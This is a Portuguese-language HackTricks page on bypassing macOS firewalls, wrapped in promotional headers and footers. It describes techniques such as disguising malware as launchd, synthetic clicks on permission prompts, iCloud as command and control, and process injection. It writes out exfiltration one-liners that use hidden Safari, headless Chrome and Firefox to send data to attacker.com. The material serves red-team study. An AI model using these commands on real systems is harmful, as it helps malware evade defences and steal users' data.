macOS Bypassing Firewalls

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

• Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!

• Adquira o swag oficial do PEASS & HackTricks

• Descubra A Família PEASS, nossa coleção exclusiva de NFTs

• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.

• Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.

Técnicas encontradas

As seguintes técnicas foram encontradas funcionando em alguns aplicativos de firewall do macOS.

Abusando de nomes de lista branca

• Por exemplo, chamando o malware com nomes de processos macOS bem conhecidos como launchd

Clique Sintético

• Se o firewall solicitar permissão ao usuário, faça o malware clicar em permitir

Usar binários assinados pela Apple

• Como curl, mas também outros como whois

Domínios Apple conhecidos

O firewall pode estar permitindo conexões com domínios Apple conhecidos, como apple.com ou icloud.com. E o iCloud poderia ser usado como um C2.

Bypass Genérico

Algumas ideias para tentar burlar firewalls

Verificar tráfego permitido

Saber o tráfego permitido ajudará a identificar domínios potencialmente em lista branca ou quais aplicativos têm permissão para acessá-los

lsof -i TCP -sTCP:ESTABLISHED

Abusando do DNS

As resoluções de DNS são feitas através do aplicativo assinado mdnsreponder, que provavelmente terá permissão para entrar em contato com servidores DNS.

Via aplicativos do navegador

• oascript

tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell

• Google Chrome

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

• Firefox

firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

• Safari

open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Através de injeções de processos

Se você pode injetar código em um processo que tem permissão para se conectar a qualquer servidor, você pode contornar as proteções do firewall:

pagemacOS Process Abuse

Referências

• https://www.youtube.com/watch?v=UlT5KFTMn2k

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

• Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!

• Adquira o swag oficial PEASS & HackTricks

• Descubra A Família PEASS, nossa coleção exclusiva de NFTs

• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.

• Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.